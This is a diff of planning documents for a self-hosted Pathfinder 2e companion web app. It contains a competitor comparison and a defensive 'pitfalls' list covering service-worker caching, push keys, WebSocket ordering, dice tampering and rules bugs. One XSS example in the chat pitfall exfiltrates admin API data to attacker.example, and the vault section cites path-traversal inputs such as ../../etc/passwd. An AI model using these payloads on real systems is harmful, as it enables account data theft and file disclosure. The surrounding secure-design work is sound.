| Push notifications | None | None | None (it's Electron, not PWA) | None | Web Push with VAPID, GM→player ping |
|
||||
| Offline | No (web app) | No (web app) | Local install, but no field offline | Browser-cached after load | Service Worker cache-first for read |
|
||||
| Obsidian integration | No | No | Possible via 3rd-party module | No | Native vault browser |
|
||||
| German UI | No | No | Partial via Babele + community pack | Partial | Full, including auto-translated PF2e text |
|
||||
| Hosting model | SaaS | SaaS | Self-hosted | SaaS (free + paid tiers) | Self-hosted (matches PROJECT.md) |
|
||||
| Mobile-first | Tablet-first | Desktop+tablet | Desktop, mobile painful | Mobile-acceptable | Yes (already shipped for character sheet) |
|
||||
| Cost | One-time app purchase | Free | One-time license fee | Free + paid tiers | Self-hosted, group only |
|
||||
|
||||
### Key Takeaways
|
||||
|
||||
- **No competitor combines all six target areas** of this milestone in one app. Pathbuilder excels at character (esp. level-up) but is character-only. Foundry has battle + chat + dice but desktop-heavy and module-fragmented. Owlbear has the cleanest player-display-screen story but no character system. Obsidian is its own thing entirely.
|
||||
- **The "all-in-one for our group, in German, on mobile-first PWA" niche is unoccupied.** This is the differentiator.
|
||||
- **PF2e Leveler and PF2e Level-Up Wizard (Foundry modules) prove that prerequisite-validating Level-Up is feasible** — they exist and are maintained. We can study their data models without using their code (license / system difference).
|
||||
- **Owlbear's "cast" feature is the closest to our table-display goal** — read-only, joins as fake-player, cannot see GM-only content. That's a solid mental model.
|
||||
|
||||
## Sources
|
||||
|
||||
- [Pathfinder 2e Leveling Up — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2065)
|
||||
- [Pathfinder 2e Ability Boosts — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=75)
|
||||
- [Pathfinder 2e Skill Increases — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2109)
|
||||
- [Pathfinder 2e Free Archetype — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2751)
|
||||
- [Wanderer's Guide character builder](https://wanderersguide.app/)
|
||||
- [PF2e Leveler — Foundry VTT module](https://foundryvtt.com/packages/pf2e-leveler)
|
||||
- [PF2e Level-Up Wizard — Foundry VTT module](https://foundryvtt.com/packages/pf2e-level-up-wizard)
|
||||
- [Owlbear Rodeo Casting documentation](https://docs.owlbear.rodeo/docs/casting/)
|
||||
- [Foundry VTT Basic Dice](https://foundryvtt.com/article/dice/)
|
||||
- [Roll20 Dice Reference](https://help.roll20.net/hc/en-us/articles/360037773133-Dice-Reference)
|
||||
- [PWA Best Practices 2026 — Wirefuture](https://wirefuture.com/post/progressive-web-apps-pwa-best-practices-for-2026)
|
||||
- [PWA iOS Limitations and Safari Support 2026 — MagicBell](https://www.magicbell.com/blog/pwa-ios-limitations-safari-support-complete-guide)
|
||||
- [Apple reverses decision about blocking web apps in EU — TechCrunch](https://techcrunch.com/2024/03/01/apple-reverses-decision-about-blocking-web-apps-on-iphones-in-the-eu/)
|
||||
- [@portaljs/remark-wiki-link — npm](https://www.npmjs.com/package/@portaljs/remark-wiki-link)
|
||||
- [react-markdown documentation](https://remarkjs.github.io/react-markdown/)
|
||||
- [airjp73/dice-notation — GitHub](https://github.com/airjp73/dice-notation)
|
||||
- [Foundry VTT vs Roll20 vs Owlbear Rodeo 2026](https://gmcrafttavern.com/foundry-vs-roll20-owlbear-2026/)
|
||||
|
||||
---
|
||||
*Feature research for: Dimension47 next milestone (PWA + multi-screen battle + extended WebSockets + Obsidian read-only vault + full PF2e Level-Up)*
|
||||
*Researched: 2026-04-27*
|
||||
816
.planning/research/PITFALLS.md
Normal file
816
.planning/research/PITFALLS.md
Normal file
@@ -0,0 +1,816 @@
|
||||
# Pitfalls Research
|
||||
|
||||
**Domain:** Self-hosted PF2e TTRPG companion app — PWA + multi-screen battle + extended Socket.io + Obsidian read-only vault + full PF2e Level-Up
|
||||
**Researched:** 2026-04-27
|
||||
**Confidence:** HIGH for PWA/Push/Socket.io/Prisma areas (verified via official sources and 2026 docs); HIGH for PF2e rules (verified against Archives of Nethys); MEDIUM for Obsidian-specific markdown traps (community wisdom + forum threads)
|
||||
|
||||
This document is opinionated. Pitfalls are grouped by the six active phase buckets (Level-Up, PWA, Battle-Multi-Screen, Dice/Chat, GM-Live-Tools, Obsidian) plus cross-cutting categories (Prisma/Postgres, Socket.io, Mobile-at-the-Table). Each pitfall lists warning signs, prevention, and the phase that owns it.
|
||||
|
||||
---
|
||||
|
||||
## Critical Pitfalls
|
||||
|
||||
### Pitfall 1: Service Worker caches an authenticated API response and serves it to the wrong user after logout/re-login
|
||||
|
||||
**What goes wrong:**
|
||||
The service worker caches a `/api/characters/:id` response as part of an offline-read strategy. User A logs out, user B logs in on the same device (shared GM laptop, same browser profile). User B opens the cached character page and sees user A's character — or worse, user A's JWT-derived data — because the cache key is the URL, not the user identity.
|
||||
|
||||
**Why it happens:**
|
||||
Service worker fetch-handlers cache by request URL by default. They don't know about JWT context. The browser also keeps the service worker alive across login/logout because logout only clears storage, not caches.
|
||||
|
||||
**How to avoid:**
|
||||
- Cache only **non-sensitive static assets** (JS/CSS/icons/manifest) with a network-first or cache-first strategy
|
||||
- For authenticated API responses, use `IndexedDB` keyed by `userId` (not the SW Cache API), and clear it on logout
|
||||
- On logout: explicitly call `caches.delete()` for any user-scoped cache name AND `swReg.unregister()` is overkill but `messaging postMessage("LOGOUT")` to the SW lets it purge user data
|
||||
- Treat any URL containing `/api/characters/`, `/api/campaigns/`, `/api/battle/` as **never cache by URL alone** — always wrap in a user-scoped key
|
||||
|
||||
**Warning signs:**
|
||||
- A second logged-in user reports seeing data they shouldn't
|
||||
- DevTools → Application → Cache Storage shows entries with sensitive paths after logout
|
||||
- Multi-user shared device shows stale data
|
||||
|
||||
**Phase to address:** PWA (the offline-read story has to be designed user-scoped from day one)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 2: Service Worker + Socket.io mid-game force-update interrupts an active battle session
|
||||
|
||||
**What goes wrong:**
|
||||
A new SW version deploys mid-session. Default Workbox behavior (`skipWaiting()` + `clients.claim()`) reloads tabs, killing the open Socket.io connection on the GM laptop and the table display. Initiative state is in-memory on the client; reconnecting after a forced reload causes flicker, dropped events, or — worst case — the GM has to re-drag tokens because the WebSocket replay didn't catch the missed events.
|
||||
|
||||
**Why it happens:**
|
||||
Devs follow tutorials that recommend `skipWaiting()` for "instant updates" without considering that some apps (this one) absolutely cannot reload mid-task. Service workers in 2026 still have long default update cycles (24h check) but `skipWaiting()` short-circuits that to immediate.
|
||||
|
||||
**How to avoid:**
|
||||
- **NEVER call `skipWaiting()` automatically.** Wait for user action.
|
||||
- Show a non-blocking "Neue Version verfügbar — jetzt aktualisieren?" toast/banner. Only reload when the user clicks.
|
||||
- During an active battle session, **suppress the update prompt entirely** until the session is closed. Track active-battle state in a Zustand store; gate the toast on `!isInBattle`.
|
||||
- Use Workbox's `ServiceWorkerRegistration.waiting` + `controllerchange` event for the manual flow.
|
||||
- Tag SW versions with git SHA so you can correlate "stuck on old version" reports with deploy times.
|
||||
|
||||
**Warning signs:**
|
||||
- Players report "it reloaded in the middle of a fight"
|
||||
- Multiple SW versions reported in `chrome://serviceworker-internals` for active users
|
||||
- Token positions desync between GM laptop and table display after deploy
|
||||
|
||||
**Phase to address:** PWA (must be designed before the first SW ships — retrofitting "don't update during battle" is hard)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 3: iOS Safari PWA push notifications silently fail because the install path or manifest is wrong
|
||||
|
||||
**What goes wrong:**
|
||||
GM sends a "Würfelaufforderung" push to all players. Android players get it. iOS players get nothing. No error, no log entry, just silence. Investigation reveals one of: app wasn't installed via "Add to Home Screen", manifest didn't have `"display": "standalone"`, app was opened from Safari tab not home-screen icon, OR the user is in the EU where iOS PWAs behave differently (Apple has shipped EU-region restrictions).
|
||||
|
||||
**Why it happens:**
|
||||
iOS 16.4+ supports Web Push, but **only for PWAs installed to the home screen running in standalone mode**. Permission prompts must be triggered by direct user gesture. The manifest requirements are stricter than on Android. EU regulatory changes have caused iOS PWA push to be flaky depending on Safari version and region.
|
||||
|
||||
**How to avoid:**
|
||||
- Manifest must include: `"display": "standalone"`, `name`, `short_name`, `start_url`, full icon set including `192x192` and `512x512`, **maskable** icon variant for Android
|
||||
- Add an in-app "Install Guide" page targeted at iOS: detect `navigator.standalone === false && /iPhone|iPad/.test(navigator.userAgent)` and show explicit instructions ("Teilen-Button → Zum Home-Bildschirm")
|
||||
- Permission prompt: show only after user taps a deliberate "Benachrichtigungen aktivieren" button — never on first load
|
||||
- After permission grant, immediately do a self-test: send a test push from server and confirm receipt in client. If silent, surface a clear error.
|
||||
- Document the EU caveat in user-facing help: PWAs in EU may not get push depending on iOS version; recommend Android Chrome or non-EU iOS
|
||||
- HTTPS is mandatory — even self-hosted dev needs a valid cert (use mkcert or Let's Encrypt + reverse proxy)
|
||||
|
||||
**Warning signs:**
|
||||
- "I didn't get the ping" from one platform but not others
|
||||
- Permission shows "denied" or "default" forever after a failed first attempt
|
||||
- `pushManager.getSubscription()` returns null after permission grant
|
||||
|
||||
**Phase to address:** PWA
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 4: VAPID key gets lost or rotated → all existing push subscriptions silently break
|
||||
|
||||
**What goes wrong:**
|
||||
Server is rebuilt, `.env` is regenerated, VAPID keys are different. All `PushSubscription` rows in the DB now point to the old public key. Push sends fail with 401/403, but the player-facing app shows the user as "subscribed". Users wonder why pings stopped working. There is no UI signal because subscriptions appear valid client-side.
|
||||
|
||||
**Why it happens:**
|
||||
VAPID keys are application-server-identity keys. `web-push` libraries don't refuse to send with mismatched keys until the push service rejects. Devs treat `.env` as ephemeral and lose the keypair.
|
||||
|
||||
**How to avoid:**
|
||||
- VAPID keys are **application secrets** — back them up like JWT_SECRET. Document explicitly in `.env.example` that these must be persistent across deploys.
|
||||
- Generate them once during initial setup, commit the **public** key to a build-time constant (or fetch from a stable endpoint), keep the private key server-side only
|
||||
- Implement automatic 410-Gone cleanup: on push send, if the push service returns 410, delete that `PushSubscription` row. Without this, expired subs accumulate and waste send budget.
|
||||
- Listen to the `pushsubscriptionchange` event in the service worker — when the browser rotates a subscription, re-register with the server
|
||||
- On startup, log VAPID public key fingerprint so you notice if it changes unexpectedly
|
||||
- **Never rotate VAPID keys without a migration plan** — rotation invalidates every existing subscription and there's no resubscribe-without-permission path
|
||||
|
||||
**Warning signs:**
|
||||
- "Push works but not for older users"
|
||||
- 401/403 spike in push send logs
|
||||
- `PushSubscription` row count growing forever (no cleanup)
|
||||
- Random subscription fails after browser updates
|
||||
|
||||
**Phase to address:** PWA / GM-Live-Tools
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 5: Display-mode (table screen) leaks GM-only data because role-checks live in components, not in the data layer
|
||||
|
||||
**What goes wrong:**
|
||||
The display screen reuses the `BattleScreen` React component with a `displayMode` prop. The component conditionally hides GM controls. But the WebSocket payload still contains `npcStats.hidden = true`, `nextRoundEnemyAction = "uses healing potion at 30%"`, GM notes on tokens, hidden token positions (invisible enemies), or full HP values for monsters whose HP should appear as a vague bar. A curious player could open DevTools at the table, look at the WebSocket frames, and see everything.
|
||||
|
||||
**Why it happens:**
|
||||
"It's just a display screen, players can't interact" — but the display screen is on the same network, served by the same socket.io server, often connected with the GM's account or a shared anonymous account. The data filtering happens in render, not in the gateway emit.
|
||||
|
||||
**How to avoid:**
|
||||
- Treat the display screen as an **untrusted client** even though physically it's at the table
|
||||
- Server-side: emit two distinct event channels, `battle:gm:*` and `battle:display:*`, with the display channel containing only what's safe to show (token positions, public HP bars, initiative order, public conditions)
|
||||
- Authenticate the display screen with a **separate display-only token** issued by the GM (short-lived, scoped to one battle, can't access other endpoints)
|
||||
- Display-screen routes server-side must reject attempts to read GM-only fields even with a valid token
|
||||
- Add a "Display token" UI: GM clicks "Display starten" → server issues a one-shot token + URL with embedded token → display screen opens that URL → token expires when battle ends
|
||||
- Test: open the display URL in incognito, run `socket.on("*", console.log)`, verify no GM data appears in any frame
|
||||
|
||||
**Warning signs:**
|
||||
- Display screen URL works after copy-paste from another browser
|
||||
- WebSocket frames sent to display include fields the player UI also doesn't render
|
||||
- Display screen survives GM logout
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 6: Client-side dice rolls are tampered/spoofed — players can claim any result
|
||||
|
||||
**What goes wrong:**
|
||||
Player rolls `1d20+7` for a critical save. Client computes the result, emits `dice:roll {result: 20, total: 27}` over WebSocket. Server broadcasts to chat. Either: (a) a player modifies the JS to always return 20, or (b) a player intercepts the WebSocket frame and edits the value. There's no way to detect cheating after the fact.
|
||||
|
||||
**Why it happens:**
|
||||
Convenience: it's easier to roll on the client and broadcast the result. PF2e crits (rolls of 20 OR results 10+ over DC) and persistent damage rolls feel "natural" to compute locally. Devs forget WebSocket payload is fully attacker-controlled.
|
||||
|
||||
**How to avoid:**
|
||||
- **All rolls happen server-side.** Client emits `dice:request {notation: "1d20+7", purpose: "save"}`. Server parses, rolls (using `crypto.randomInt`), persists to `RollLog`, broadcasts result.
|
||||
- Use a tested PF2e-aware notation parser. Required features:
|
||||
- Critical hits (PF2e: nat 20 OR meets-or-exceeds DC by 10 → crit; nat 1 OR misses by 10 → critical fail)
|
||||
- **Crit doubles dice, NOT modifiers** — `2d6+4` crits to `4d6+4`, not `4d6+8`. This is a frequent bug in generic parsers.
|
||||
- Persistent damage (`2d6 persistent fire` → recurring roll on each turn-end with DC 15 flat-check to remove)
|
||||
- Recharge dice for some abilities
|
||||
- `keep highest`, `keep lowest`, advantage/disadvantage (rare in PF2e but used by some feats)
|
||||
- Server stores roll seed + notation + result + roller + timestamp → fully auditable
|
||||
- Client-side has a **shadow roller** for instant feedback while waiting for server roll, but the server result is canonical and replaces the shadow on receipt
|
||||
|
||||
**Warning signs:**
|
||||
- Suspiciously high crit rate from one player
|
||||
- Roll log shows results that don't match notation
|
||||
- Players asking to "edit" their roll
|
||||
|
||||
**Phase to address:** Dice/Chat
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 7: Markdown chat messages enable XSS via raw HTML or javascript: URLs
|
||||
|
||||
**What goes wrong:**
|
||||
Chat supports markdown for formatting (bold, italics, links to roll results). A malicious or compromised player sends `<img src=x onerror="fetch('/api/admin/users', {credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.example/'+btoa(JSON.stringify(d))))">`. The GM (admin) renders the message and runs the script in their session, leaking user data. Or a `[click](javascript:...)` markdown link that fires on click.
|
||||
|
||||
**Why it happens:**
|
||||
Devs use `dangerouslySetInnerHTML` with marked/markdown-it because it's easy. Or they use `react-markdown` but enable `rehype-raw` without `rehype-sanitize` because they want HTML inside markdown. Or they don't filter the URL protocols on links.
|
||||
|
||||
**How to avoid:**
|
||||
- Use `react-markdown` **without** `rehype-raw` for chat. Markdown → React elements directly, no `dangerouslySetInnerHTML`, no raw HTML.
|
||||
- Restrict allowed elements: `allowedElements={['p','strong','em','code','pre','a','ul','ol','li','blockquote']}`. No `img`, no `iframe`, no `script`, no `style`.
|
||||
- `urlTransform` to enforce protocol whitelist: only allow `http:`, `https:`, and internal route paths. Block `javascript:`, `data:`, `vbscript:`.
|
||||
- Server-side: validate message length (max ~2000 chars), strip control characters, refuse messages with HTML tags before storage. Defense in depth.
|
||||
- For roll embeds in chat (the killer feature), use a custom React component slot, not raw HTML — `[[roll:abc123]]` token that the renderer expands into a `<RollResult>` component fetching from server state.
|
||||
|
||||
**Warning signs:**
|
||||
- Any use of `dangerouslySetInnerHTML` in chat code
|
||||
- `rehype-raw` in the markdown pipeline without `rehype-sanitize`
|
||||
- Allowing `img` or `a target="_blank"` without `rel="noopener noreferrer"`
|
||||
|
||||
**Phase to address:** Dice/Chat
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 8: PF2e Level-Up — boost rules at-18 cap silently break ability scores
|
||||
|
||||
**What goes wrong:**
|
||||
Character has STR 18 at level 4. At level 5, four boosts must be allocated to four different attributes. UI lets player apply a boost to STR. Code adds +2 (because that's the standard boost) → STR 20. **Wrong.** Per the rules, a boost on a stat already 18 or higher adds only +1, not +2. The character's whole sheet is now overpowered. If the bug goes unnoticed for several levels, recomputing is expensive (every save/skill/AC was wrong from then on).
|
||||
|
||||
**Why it happens:**
|
||||
"Boost = +2" is the simple version. The +1 above 18 rule is easy to miss. Pathbuilder handles it, so devs comparing in-app to Pathbuilder don't notice for a while.
|
||||
|
||||
**How to avoid:**
|
||||
- Centralize the boost computation in a `applyAttributeBoost(currentValue): number` function. Single source of truth: `currentValue >= 18 ? +1 : +2`. Test it.
|
||||
- Validate boosts as a **set, not individually**. A "level 5 boost set" must apply to **four different** attributes. UI should grey out already-boosted attributes.
|
||||
- For each level-up, persist the **decision** (which 4 attributes) AND the **resulting value**, not just the value. Lets you replay/audit.
|
||||
- Edge cases to test:
|
||||
- All four boosts applied to attributes already at 18 → all +1
|
||||
- One boost applied twice in same set (forbidden — must be different attributes)
|
||||
- Free Archetype variant rule (no extra boosts, but interacts with feats)
|
||||
- Pathbuilder import of an already-leveled character: trust their values for prior levels, only validate from current level forward
|
||||
|
||||
**Warning signs:**
|
||||
- Character sheet shows attribute > 18 at level 5 without the +1 cap
|
||||
- Boost UI lets you click STR twice in same boost set
|
||||
- Differs from Pathbuilder result for the same character
|
||||
|
||||
**Phase to address:** Level-Up
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 9: PF2e Level-Up — recompute side effects (HP cap, AC, saves) corrupt current state
|
||||
|
||||
**What goes wrong:**
|
||||
Character is at HP 12/40 (badly wounded). Player levels up: CON boost increases HP-Max from 40 → 50. App correctly updates `hp.max = 50` but also bumps `hp.current = 50` ("you healed!"). Or: app sets `hp.current = min(hp.current, hp.max)` → still 12, fine — but in the inverse case, a CON DECREASE due to retrain would silently drop current HP below 0.
|
||||
|
||||
Worse: proficiency increase from Trained → Expert at level 3 changes save bonuses. App recomputes the +N modifier but doesn't apply it to the in-flight `damageReceived` calculation if combat is active.
|
||||
|
||||
**Why it happens:**
|
||||
Level-up touches HP, AC, saves, perception, skills, attacks. Every one of those has a "current" value and a "max/computed" value. Devs change the formula without thinking through the cap/floor invariants.
|
||||
|
||||
**How to avoid:**
|
||||
- Level-up commits in a **Prisma transaction**. All recomputed fields written atomically.
|
||||
- HP rule: on HP-Max increase, current does NOT change (player gets new room to heal). On HP-Max decrease (rare, undo case), current is `min(current, newMax)`. Document this rule in code.
|
||||
- Level-up CANNOT happen during an active battle session — gate it. PF2e level-ups happen during downtime/rest, never mid-fight.
|
||||
- After commit, broadcast a **single** `character:level-up:complete` event with the full new sheet, not a sequence of small updates (avoids inconsistent intermediate states broadcast to other clients).
|
||||
- Test scenario: character at 0 HP with Dying 2 levels up (edge case for raise-dead-then-level mid-session) — must not silently kill the character or remove Dying.
|
||||
|
||||
**Warning signs:**
|
||||
- HP fully refilled after level-up (should keep the player's current value)
|
||||
- Save modifiers don't update after proficiency increase
|
||||
- Conditions disappear after level-up
|
||||
|
||||
**Phase to address:** Level-Up
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 10: PF2e Level-Up — undo/retrain creates orphaned feat dependencies
|
||||
|
||||
**What goes wrong:**
|
||||
Player retrains a level-2 class feat (per the retraining rules). The retired feat was a prerequisite for a level-6 feat the player still has. The level-6 feat now violates its prereq but stays on the sheet. Or: archetype dedication retrained, but the player still has 2 archetype feats pointing to that archetype, in violation of the "must take 2 feats from archetype before another dedication" rule.
|
||||
|
||||
**Why it happens:**
|
||||
Feats are stored as a flat list. Prerequisites are checked at acquisition time, not as an invariant. Removing a feat doesn't trigger re-validation of dependent feats.
|
||||
|
||||
**How to avoid:**
|
||||
- Model feats with explicit `prerequisites: FeatId[]` graph
|
||||
- On any feat removal (retrain, undo level-up, archetype change), run a transitive-closure check: any remaining feat whose prereqs are now unmet must be flagged
|
||||
- Don't auto-remove dependent feats — surface a "Diese Talente verlieren ihre Voraussetzung" warning and force the player to choose: retrain those too, or block the retrain
|
||||
- Archetype invariants:
|
||||
- Cannot take a 2nd archetype dedication until 2 non-dedication feats from the 1st archetype are taken
|
||||
- With Free Archetype variant, dedication taken at level 1 may have no valid feat at level 2 (all archetype feats are usually level 4+) — surface this as a known gap, allow temporary placeholder
|
||||
- Must be prevented: dedication-spam (taking 4 dedications in a row, breaking RAW)
|
||||
- Persist level-up history as an append-only log so undo means "create an inverse entry", not destructive update
|
||||
|
||||
**Warning signs:**
|
||||
- Character has feats whose prereq feat is missing
|
||||
- Two archetype dedications without 2 feats from the first archetype between them
|
||||
- Undo of level-N corrupts data at level-(N+1)
|
||||
|
||||
**Phase to address:** Level-Up
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 11: PF2e Level-Up — skill increase tracking forgets which skills were already increased at which level
|
||||
|
||||
**What goes wrong:**
|
||||
Player has Trained in Athletics at level 1, increases to Expert at level 3, Master at level 7, Legendary at level 15. App stores `athletics.proficiency = "legendary"` only. At level 20, player wants to undo the level-15 increase. App doesn't know which skill was the level-15 choice — has to guess or block all undo.
|
||||
|
||||
**Why it happens:**
|
||||
Final value is what's displayed on the sheet, so devs only persist the final value. The history of increases is implicit ("must have been at level 15 because legendary") which fails when multiple skills are at the same rank.
|
||||
|
||||
**How to avoid:**
|
||||
- Persist `SkillIncreaseHistory` as `(characterId, skillId, level, fromRank, toRank)` rows
|
||||
- On any skill query, current rank = sum of increases up to current level
|
||||
- This also makes the rank-gates trivial to enforce: at levels 3-6, only Trained→Expert. At 7+, also Expert→Master. At 15+, also Master→Legendary.
|
||||
- Pathbuilder import: synthesize history rows when possible (Pathbuilder export contains ranks per level), otherwise create one row per current rank with `level = currentLevel` (lossy but at least consistent)
|
||||
|
||||
**Warning signs:**
|
||||
- Level-up UI lets player increase a skill they already increased this level
|
||||
- Undo of level-N skill increase requires guessing which skill
|
||||
- Imported character has different ranks than Pathbuilder
|
||||
|
||||
**Phase to address:** Level-Up
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 12: Obsidian wikilinks resolve ambiguously to the wrong note
|
||||
|
||||
**What goes wrong:**
|
||||
Vault has `Characters/Aldrin.md` and `NPCs/Aldrin.md`. A note links `[[Aldrin]]`. App's resolver picks the first match (alphabetical, by depth, or by a path heuristic). Sometimes it picks `Characters/Aldrin`, sometimes `NPCs/Aldrin`, depending on file order returned by the filesystem. Player following the link gets the wrong character page. Indexing performance also varies.
|
||||
|
||||
**Why it happens:**
|
||||
Obsidian uses a "shortest path that's still unique" rule. When multiple notes have the same basename, the rule does NOT pick the first match — it falls back to absolute path. Naive resolvers don't replicate this.
|
||||
|
||||
**How to avoid:**
|
||||
- Implement Obsidian's resolution algorithm faithfully:
|
||||
1. Exact match on the link text (`[[Folder/Name]]`) → resolve to that path
|
||||
2. Otherwise, basename match: if exactly one file in the vault has that basename, use it
|
||||
3. If multiple files share the basename, the link is **ambiguous** → either error out, render as `[[Aldrin (mehrdeutig)]]` with a tooltip listing matches, or use the link's containing-folder context
|
||||
- Build a basename index at vault-load time: `Map<basename, fullPath[]>`. Detect ambiguity in O(1).
|
||||
- Cache the index, invalidate when the vault changes (mtime check or webhook from the vault server)
|
||||
- Surface ambiguity to the user — a vault read-only browser that silently picks wrong is worse than one that says "ambiguous, choose one"
|
||||
- Don't follow Obsidian's "shortest path possible" link-creation default unless you also implement its conflict UI; pick a deterministic tie-breaker (alphabetical full path) and document it
|
||||
|
||||
**Warning signs:**
|
||||
- Same wikilink resolves differently on different vault reads
|
||||
- Two notes with the same basename and link target unclear
|
||||
- Performance regression in resolver as vault grows
|
||||
|
||||
**Phase to address:** Obsidian
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 13: Obsidian embed loops cause stack overflow / infinite render
|
||||
|
||||
**What goes wrong:**
|
||||
`A.md` contains `![[B]]` (embed B). `B.md` contains `![[A]]`. Naive recursive renderer expands forever, eventually crashing the tab or hanging the server depending on where rendering happens.
|
||||
|
||||
**Why it happens:**
|
||||
Embeds are recursive by design. Devs implement them as straight recursion without cycle detection.
|
||||
|
||||
**How to avoid:**
|
||||
- Maintain a per-render `Set<resolvedPath>` of already-being-rendered notes. Before recursing into an embed, check if path is in the set. If yes, render `[Eingebettete Note: {name} (Zyklus)]` placeholder.
|
||||
- Hard cap embed depth at 3-4 levels even in non-cyclic cases (deeply nested embeds are user error)
|
||||
- Render server-side OR limit client-side embed expansion to one level (Obsidian itself doesn't recursively expand more than one level on first render)
|
||||
- Test with a known-cyclic vault before shipping
|
||||
|
||||
**Warning signs:**
|
||||
- Page hangs on certain notes
|
||||
- Server CPU spike on vault read of specific files
|
||||
- Stack overflow errors in renderer
|
||||
|
||||
**Phase to address:** Obsidian
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 14: Vault path traversal allows reading files outside the vault root
|
||||
|
||||
**What goes wrong:**
|
||||
Vault server endpoint accepts `?path=../../etc/passwd` or `?path=Notes/../../../server.env`. Naive path joining (`vaultRoot + userInput`) followed by `fs.readFile` reads any file the server process can access.
|
||||
|
||||
**Why it happens:**
|
||||
Server devs forget that wikilinks come from user-controlled markdown content, not just direct API calls. Even reading-only is dangerous if the read can target sensitive files.
|
||||
|
||||
**How to avoid:**
|
||||
- Resolve the requested path with `path.resolve(vaultRoot, userPath)`
|
||||
- Verify the resolved absolute path **starts with** `vaultRoot + path.sep` — reject otherwise
|
||||
- Refuse any path containing `..`, null bytes (`%00`), or symlinks pointing outside the vault
|
||||
- Whitelist file extensions: `.md`, `.png`, `.jpg`, `.jpeg`, `.gif`, `.webp`, `.svg`, `.pdf`. Reject everything else.
|
||||
- Authenticate the vault endpoint with the same JWT as the rest of the API
|
||||
- On Windows, also reject paths containing `:` or device names (`CON`, `PRN`, `NUL`, `AUX`, `COM1`-`COM9`, `LPT1`-`LPT9`) — can be used for device-name attacks
|
||||
|
||||
**Warning signs:**
|
||||
- Vault endpoint accepts arbitrary path strings without validation
|
||||
- Resolved path doesn't get normalized before access
|
||||
- Tests don't cover `..`, symlinks, or absolute paths
|
||||
|
||||
**Phase to address:** Obsidian
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 15: Socket.io message ordering breaks on reconnect; Connection State Recovery not enabled
|
||||
|
||||
**What goes wrong:**
|
||||
Player loses Wi-Fi for 5 seconds during battle. GM updates 3 token positions during that gap. On reconnect, player sees only the latest token position emitted *after* reconnect — the 3 missed updates are lost. Or worse, a chat message sent during the gap never arrives, and there's no indication of loss.
|
||||
|
||||
**Why it happens:**
|
||||
Default Socket.io reconnects but does NOT replay missed events unless Connection State Recovery (CSR) is explicitly enabled. Even with CSR, the recovery window is short (default 2 minutes) and the adapter must support it.
|
||||
|
||||
**How to avoid:**
|
||||
- Enable Connection State Recovery on the server: `io({connectionStateRecovery: {maxDisconnectionDuration: 2 * 60 * 1000, skipMiddlewares: true}})`
|
||||
- For events that **must not be lost** (chat messages, dice rolls, GM-pings), use the `retries` option on emit: `socket.emit(event, payload, {retries: 3})` and require server ack
|
||||
- For state-sync events (HP, token position), don't worry about replay — instead, on reconnect, **re-fetch the current state** via REST and reconcile. WebSocket events are the live update channel; REST is the source of truth.
|
||||
- Persist chat and rolls to Postgres immediately on receipt, broadcast as a notification only. On reconnect, client refetches `since=lastSeenId` from REST.
|
||||
- Acknowledge important events: server emits `chat:new` with a callback; client invokes the callback to confirm receipt; server retries N times if no ack within timeout.
|
||||
|
||||
**Warning signs:**
|
||||
- "I missed the GM's message" reports
|
||||
- Token positions desync between clients
|
||||
- Chat history has gaps after a reconnect
|
||||
- No ack-tracking on critical events
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen, Dice/Chat (cross-cutting WebSocket area)
|
||||
|
||||
---
|
||||
|
||||
## Moderate Pitfalls
|
||||
|
||||
### Pitfall 16: Cascading deletes wipe historical data unintentionally
|
||||
|
||||
**What goes wrong:**
|
||||
GM deletes an old battle session for cleanup. With `onDelete: Cascade` on `BattleSession → RollLog`, all roll history from that battle is gone. Players lose their historic crits. Or: campaign deletion cascades to characters, characters cascade to rolls — entire user history vanishes.
|
||||
|
||||
**Why it happens:**
|
||||
Devs default to Cascade because "clean up automatically". Don't think about which children are *historical records* vs *transient state*.
|
||||
|
||||
**How to avoid:**
|
||||
- Decide per-relation: is the child **dependent state** (token positions only meaningful inside their battle → Cascade) or **historical record** (rolls/chat are part of campaign history → Restrict or SetNull with `archivedAt`)?
|
||||
- Soft-delete (`deletedAt: DateTime?`) for top-level entities (Campaign, BattleSession) so accidents are recoverable
|
||||
- For `PushSubscription`: Cascade on User delete (no orphan subs)
|
||||
- For `RollLog`/`ChatMessage`: NoAction on User delete (preserve history; show "Spieler entfernt" instead of name); soft-delete the user
|
||||
- For `BattleEffect`: Cascade on token delete (effect is a property of the token)
|
||||
- Document each onDelete in a comment in `schema.prisma`
|
||||
|
||||
**Warning signs:**
|
||||
- Deleting a parent unexpectedly nukes lots of child rows
|
||||
- Migration introduces Cascade on a relation that previously had Restrict
|
||||
- No soft-delete on user-facing entities
|
||||
|
||||
**Phase to address:** All phases that add new tables (Level-Up: LevelUpSession; PWA: PushSubscription; Battle: BattleEffect; Dice/Chat: RollLog, ChatMessage)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 17: Per-event JWT validation overloads the gateway
|
||||
|
||||
**What goes wrong:**
|
||||
Codebase already has `characters.gateway.ts` doing JWT verification on connect. As new events are added (`dice:roll`, `chat:send`, `battle:effect:apply`), devs add per-event auth checks that re-decode the JWT every time. CPU spikes during a busy combat round (10+ events/sec).
|
||||
|
||||
**Why it happens:**
|
||||
"Belt and suspenders" mindset. JWT verify is fast (microseconds) but at scale it accumulates.
|
||||
|
||||
**How to avoid:**
|
||||
- Validate JWT **once on connect** (already done). Store the userId on the socket: `socket.data.userId`
|
||||
